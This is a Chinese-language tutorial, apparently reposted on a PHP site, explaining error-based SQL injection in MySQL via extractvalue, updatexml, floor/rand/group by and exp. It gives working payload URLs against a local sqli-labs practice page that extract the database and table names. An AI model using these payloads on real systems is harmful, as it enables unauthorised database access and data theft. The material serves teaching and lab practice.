欢迎投稿

今日深度:

SQL注入教程之报错注入,

SQL注入教程之报错注入,


目录
  • SQL报错注入概述
  • 报错注入的前提条件
  • Xpath类型函数
    • extractvalue()
    • updatexml()
  • 其他函数
    • floor()、rand()、count()、group by联用
    • exp()(5.5.5<= MySQL数据库版本号<=5.5.49)
  • MySQL数据库报错功能函数总汇
    • 报错注入实例
      • extractvalue()
        • 暴库
        • 暴表
      • updatexml()
        • 暴库
        • 暴表
    • 总结 

      SQL报错注入概述

      通过构造特定的SQL语句,让攻击者想要查询的信息(如数据库名、版本号、用户名等)通过页面面的错误提示回显出来。

      报错注入的前提条件

      • Web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上
      • 后台未对一些具有报错功能的函数(如extractvalue、updatexml等)进行过滤

      Xpath类型函数

      extractvalue()

      作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。

      语法: extractvalue( XML_document, XPath_string )

      • 参数1:XML_document是String格式,为XML文档对象的名称
      • 参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方

      报错原理:xml文档中查找字符位置是用/xxx/xxx/xxx/...这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:'xxxxxxxx‘

      updatexml()

      作用:改变文档中符合条件的节点的值。

      语法: updatexml( XML_document, XPath_string, new_value )

      • 参数1:XML_document是String格式,为XML文档对象的名称
      • 参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
      • 参数3:new_value,String格式,替换查找到的符合条件的数据

      报错原理:同extractvalue()

      其他函数

      floor()、rand()、count()、group by联用

      作用

      floor(x):对参数x向下取整

      rand():生成一个0~1之间的随机浮点数

      count(*):统计某个表下总共有多少条记录

      group by x: 按照 (by) 一定的规则(x)进行分组

      报错原理:group by与rand()使用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由group by将计算出来的主键直接插入到临时表格中,导致主键重复报错

      exp()(5.5.5<= MySQL数据库版本号<=5.5.49)

      作用:计算以e(自然常数)为底的幂值

      语法: exp(x)

      报错原理:当参数x超过710时,exp()函数会报错,错误信息如:DOUBLE value is of range:

      MySQL数据库报错功能函数总汇

      报错注入实例

      extractvalue()

      依然用sqli/Less-1

      直接用报错函数进行暴库操作

      暴库

      http://127.0.0.1/sqli/Less-1/?id=1' and extractvalue(1,concat('~',database())) --+

      暴表

      http://127.0.0.1/sqli/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+

      后面的步骤大致相同,不再演示

      updatexml()

      暴库

      http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat('~',database()),1) --+

      暴表

      http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

      总结 

      到此这篇关于SQL注入教程之报错注入的文章就介绍到这了,更多相关SQL报错注入内容请搜索PHP之友以前的文章或继续浏览下面的相关文章希望大家以后多多支持PHP之友!

      您可能感兴趣的文章:
      • SQL注入报错注入函数图文详解
      • SQL注入篇学习之盲注/宽字节注入
      • 简单聊聊SQL注入的原理以及一般步骤
      • SQL注入渗透测试以及护网面试题和解答总结
      • 如何有效防止sql注入的方法
      • SQL堆叠注入简介

      www.htsjk.Com true http://www.htsjk.com/shujukunews/45264.html NewsArticle SQL注入教程之报错注入, 目录 SQL报错注入概述 报错注入的前提条件 Xpath类型函数 extractvalue() updatexml() 其他函数 floor()、rand()、count()、group by联用 exp()(5.5.5= MySQL数据库版本号=5.5.49)...
      相关文章
        暂无相关文章
      评论暂时关闭